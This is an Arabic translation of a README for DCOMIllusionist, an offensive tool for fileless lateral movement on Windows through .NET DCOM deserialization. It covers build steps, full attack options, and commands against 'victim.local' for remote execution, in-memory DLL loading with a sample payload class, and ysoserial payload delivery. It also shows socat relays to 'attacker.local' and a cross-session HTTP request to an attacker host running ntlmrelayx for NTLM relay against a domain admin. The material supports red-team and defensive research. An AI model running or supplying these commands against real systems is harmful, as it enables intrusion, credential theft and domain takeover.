
تقنيات الحركة الجانبية في الذاكرة وبدون ملفات عبر DCOM من خلال إلغاء تسلسل .Net
تقنية انتقال جانبي بدون ملفات على ويندوز.
مقدمة • بناء • استخدام • تفاصيل تقنية • شكر وتقدير
تمكّن هذه الأداة من تنفيذ تعليمات برمجية عن بُعد على جهاز ويندوز، في حال امتلاك صلاحيات إدارية. تستفيد الأداة من تقنية DCOM وسلوك خوادم .NET DCOM التي تقوم تلقائياً بإلغاء تسلسل الكائنات الواردة. مما يجعل من الممكن تنفيذ أوامر تعسفية أو تحميل مكتبات DLL دون الكتابة على القرص.
اكتُشفت هذه الطريقة في الأصل بواسطة جيمس فورشو James Forshaw كتقنية لتصعيد الصلاحيات، وتم تكييفها للانتقال الجانبي عن طريق تعديل مفاتيح تسجيل محددة عن بُعد. بالإضافة إلى ذلك، تدعم الاستغلال عبر الجلسات من خلال DCOM، مما يسمح بتنفيذ أوامر تعسفية داخل جلسة مستخدم آخر ضمن سياق الأمان الخاص بتلك الجلسة.
تعمل الأداة على محطات العمل والخوادم، ولكن يتطلب نجاح هذه التقنية وجود اتصال شبكي بين الجهاز المستهدف والجهاز الذي يتحكم به المهاجم.
مزيد من التفاصيل في هذا القسم.
يتوفر إصدار جاهز، أو يمكنك بناؤه يدوياً:
PS F:\> git clone https://github.com/synacktiv/DCOMIllusionist.git
PS F:\> cd DCOMIllusionist
PS F:\DCOMIllusionist> dotnet publish -c Release -r win-x64
PS F:\> runas /u:LAB\adm /netonly powershell.exe
PS F:\> ./DCOMIllusionist.exe -t 10.10.10.10 --session 1 --curl http://attacker.local --attacker-sid <sid-adm>
[!IMPORTANT]
يلزم وجود صلاحيات إدارية على كل من الجهاز المهاجم (عبر شل مرتفعة) والجهاز المستهدف لاستخدام هذه الأداة بنجاح.
Usage:
DCOMIllusionist.exe [options] -t <target> (--ps-exec | --exec | --curl | --file-write-src | --load-dll | --yso-b64 | --test-network | --list-sessions)
Options:
-h, --help إظهار رسالة المساعدة هذه والخروج
-d, --debug تفعيل تسجيل التصحيح
-t, --target <value> تعيين اسم المضيف المستهدف أو عنوان IP
-p, --port <value> تعيين المنفذ المستهدف (الافتراضي: 49765)
--clsid <value> تحديد CLSID (بدون أقواس معقوفة)
--appid <value> تحديد AppID (بدون أقواس معقوفة)
-s, --session <value> توفير معرف جلسة
-l --listen <host> تحديد FQDN أو IP للمستمع
-g, --gadget <value> تحديد الأداة (gadget) المراد استخدامها
--attacker-sid <value> تعيين SID للمهاجم
--no-port-check تعطيل فحص توفر المنفذ
--restore-backup <path> استعادة التسجيل من نسخة احتياطية
--local-registry-only إجراء تعديلات التسجيل محلياً فقط
--remote-registry-only إجراء تعديلات التسجيل عن بُعد فقط
--skip-local-registry-setup تخطي إعداد التسجيل المحلي
--skip-remote-registry-setup تخطي إعداد التسجيل عن بُعد
--hku إجراء عمليات التسجيل عن بُعد على HKCU بدلاً من HKLM
--fake-clsid إنشاء CLSID وهمي مع AppId وهمي
الهجمات:
--ps-exec <args> تنفيذ أمر عن بُعد باستخدام PSExec
--exec <cmd> تنفيذ أمر عن بُعد
--exec-args <args> وسائط لتمريرها إلى الأمر
--curl <url> استخدام حمولة طلب ويب على نمط curl
--file-write-src <src> الملف المراد كتابته
--file-write-dst <dst> مسار الوجهة
--load-dll <path> تحميل DLL في العملية عن بُعد
--dll-class <value> الفئة في DLL المراد تنفيذها (بما في ذلك مساحة الاسم)
--dll-method <value> الطريقة الثابتة في الفئة المراد تنفيذها (الافتراضي: Run)
--yso-b64 <b64> تنفيذ حمولة ysoserial مشفرة بـ base64
--test-network التحقق من الوصول إلى الشبكة من الهدف إلى جهاز المهاجم
--list-sessions سرد الجلسات التفاعلية على الهدف
أمثلة:
DCOMIllusionist.exe --target 192.168.1.10 --exec "whoami"
DCOMIllusionist.exe -t victim.local -p 1337 --listen other.attacker.local --load-dll "payload.dll" --dll-class "Exploit" --session 2
CLSID:
BFFECCA7-4069-49F9-B5AB-7CCBB078ED91 - System.ServiceModel.Internal.TransactionBridge (الافتراضي)
2A7B042D-578A-4366-9A3D-154C0498458E - System.Management.Instrumentation.ManagedCommonProvider
37708080-3519-4ED6-91D5-A64B643863FB - Windows.Help.Runtime.CatalogRead
AppId:
577289B6-6E75-11DF-86F8-18A905160FE0 - Windows Push Notification Platform Connection Provider (الافتراضي)
63766597-1825-407D-8752-098F33846F46 - CentennialLifetimeManagerConsoleOperator
06C792F8-6212-4F39-BF70-E8C0AC965C23 - إعدادات التحكم بحساب المستخدم (مستخدم تفاعلي)
D4872B74-3AFC-47CD-B8A2-9E4F998539BC - Remote Cloud Store Factory (مستخدم تفاعلي)
--sessionكما تم شرحه سابقاً، يمكن تحديد جلسة لتنفيذ أمر تعسفي في جلسة مستخدم آخر.
[!WARNING] يعمل هذا فقط مع AppIDs المهيأة للعمل تحت هوية المستخدم التفاعلي. يتم التعامل مع هذا تلقائياً، ليست هناك حاجة لتحديد وسيطة
--appid، حيث ستستخدم الأداة AppID المرتبطة بإعدادات التحكم بحساب المستخدم User Account Control Settings افتراضياً.
[!IMPORTANT] يعمل فقط إذا كان الجهاز المهاجم منضمًا إلى مجال، مزيد من التفاصيل هنا.
--list-sessionsسرد الجلسات التفاعلية والنشطة عن بُعد على الهدف باستخدام WTSEnumerateSessions.
--listenإذا لم يتمكن الجهاز المستهدف من الوصول مباشرةً إلى مضيف المهاجم، سيفشل الاستغلال. ومع ذلك، من الممكن تحديد جهاز وسيط يمكن للهدف الاتصال به. باستخدام أدوات مثل socat، يمكن توجيه حركة المرور من هذا الوسيط إلى مضيف المهاجم.
$ sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:attacker.local:135
$ socat -v TCP-LISTEN:1337,fork,reuseaddr TCP:attacker.local:1337
PS F:\> ./DCOMIllusionist.exe -t victim.local -p 1337 --listen compromised.local --ps-exec whoami
--attacker-sidعند تشغيل الاستغلال من شل runas /netonly، لا يمكن استرداد الهوية المرتبطة تلقائياً. لذلك، من الضروري توفيرها صراحةً باستخدام خيار --attacker-sid لنجاح الهجوم.
--execيمكن استخدام --exec مع --exec-args لتنفيذ برامج ثنائية تعسفية على الهدف:
PS F:\> ./DCOMIllusionist.exe -t victim.local --exec powershell.exe --exec-args "-C calc"
[!NOTE]
--ps-execهو مجرد غلاف لذلك، يمكن تحقيق نفس الشيء باستخدام:--ps-exec calc
--curlيمكن أن يكون curl مفيداً في سيناريوهات الاستغلال عبر الجلسات. إذا كانت لديك صلاحيات إدارية على جهاز وكان، على سبيل المثال، مسؤول مجال نشطاً في الجلسة 3، فمن الممكن بدء طلب HTTP موثَّق، باستخدام .NET فقط، نيابة عن ذلك المستخدم. من خلال توجيه هذا الطلب إلى جهاز يتحكم به المهاجم ويعمل عليه ntlmrelayx.py، يمكن تنفيذ هجمات إعادة توجيه NTLM التقليدية لاختراق المستخدم.
PS F:\> ./DCOMIllusionist.exe -t 10.10.10.10 --session 3 --curl http://attacker.local
--load-dllمن الممكن تحميل DLL تعسفي بالكامل في الذاكرة، دون لمس القرص. على سبيل المثال:
// Build: csc /target:library /optimize /out:Payload.dll Payload.cs
using System.Diagnostics;
public class Payload
{
public static void Run()
{
Process.Start("calc");
}
}
PS F:\> ./DCOMIllusionist.exe -t victim.local --load-dll Payload.dll --dll-class Payload
افتراضياً، يتم تنفيذ الطريقة الثابتة Run (بدون معاملات) للفئة المحددة. يمكن تخصيص هذا السلوك باستخدام المعامل --dll-method.
--yso-b64لتوليد أدوات متقدمة، يمكن استخدام Ysoserial.net. يمكن توفير الحمولة المشفرة بـ Base64 الناتجة مباشرةً، حيث سيتم تغليفها داخل مثيل RolePrincipal وإلغاء تسلسلها على الجهاز المستهدف.
[!WARNING] يعمل فقط مع BinaryFormatter
--test-network